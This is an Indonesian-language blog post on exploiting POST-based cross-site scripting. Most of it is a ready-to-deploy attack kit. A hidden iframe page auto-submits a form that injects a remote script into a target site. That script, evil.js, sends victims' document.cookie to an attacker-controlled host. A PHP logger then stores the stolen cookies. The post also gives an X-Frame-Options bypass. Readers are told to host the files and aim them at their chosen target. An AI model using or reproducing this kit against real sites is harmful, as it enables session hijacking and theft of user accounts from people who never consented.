[EN] POST XSS Vulnerability Exploitation

Sebelum membaca artikel ini lebih lanjut, saya anggap kalian sudah memahami basic dari XSS dan HTTP Protocol. Jika belum saya sarankan kalian cari tahu akan kedua hal tersebut.
Apa itu POST XSS?

POST XSS adalah suatu kerentanan disisi client yang digunakan untuk menjalankan malicious script dengan mengirimkan input ke suatu website yang rentan melalui form dengan methode POST dari HTTP Protocol.

Apa Perbedaanya dari GET dalam tahap Eksploitasi?

Dengan methode GET, request dikirim melalui HTTP sebagai berikut:

target.com/halaman.php?contoh=xxx

Sedangkan untuk request POST itu sebagai berikut:

target.com/halaman.php

Artinya, data yang akan tampil (contoh = xxx ) dikirim sebagai bagian dari body, bukan URL.

Jika kita biasanya hanya mengeksploitasi jenis XSS dengan method GET. Sekarang kita akan belajar mengenai bagaimana cara mengeksploitasi website menggunakan POST XSS.

Tahap Exploit :

Upload 5 file berikut ke hosting kalian, ganti target.com dengan target situs kalian. Ganti variabel form di bawah ini dengan variabel form yang mungkin rentan terhadap XSS.

.htaccess

AddType application/x-httpd-php .html
page.html

    <html>
    <body>
    <H1>Welcome...</H1>
    <p>This page is a innocent page :)</p>
    <? if (isset($_GET[“done”])) {
    die();
    }?><iframe src=”http://webmu.com/background.php" width=”1" height=”1" frameborder=”0"></iframe>
    </body>
    </html>
background.php

    <html>
    <head>
    <style>
    .xss {display: none;
    }
    </style>
    </head>
    <body onload=”XSS.submit();”>
    <form id=”xss” action=”http://www.target.com/path/” method=”post” name=”XSS”>
    <input name=”target” value =”all”></input>
    <input name=”address” value=”<SCRIPT SRC=’http://webmu.com/evil.js'></SCRIPT>"></input>
    </form>
    </body>
    </html>
evil.js

window.location.replace(“http://webmu.com/cookie.php?cookie=" + encodeURIComponent(document.cookie));
cookie.php

    <?
    $file = “cookies.txt”;
    if (isset($_GET[“cookie”])) {$handle = fopen($file, ‘a’);fwrite($handle, “\r\n” . $_GET[“cookie”]);fclose($handle);
    }
    ?>
    <script>window.location.replace(“http://webmu.com/page.html?done=yes");</script>

Jadi apa yang terjadi di sini?
Iframe di webmu.com/page.html yang dikirim ke target yang membuka file background.php, yang memiliki form login yang mirip seperti situs aslinya. Ketika web sudah terload semuanya,  javascript "onload", disini akan mentriger. 

Beberapa bypass yang bisa dilakukan :

X-Frame-Options: Deny
Jika kalian menemukan pesan seperti itu bypass nya cukup sederhana, cukup dengan meta redirection dari page.html:

<meta http-equiv=”refresh” content=”0;URL=’http://webmu.com/background.php'">
Atau kalian bisa mengganti payload iframe dengan payload dibawah ini :

<SCRIPT SRC = ‘http://webmu.com/background.php’> </SCRIPT>

Referensi : @ahmetumitbayram via medium.com

Kalian mungkin juga tertarik :



Comments

Popular posts from this blog

[BUG BOUNTY] Email Spoofing | No Valid SPF Record

Legion Tutorial - Information Gathering (Kali Linux)

Deface web with auto sql balitbang method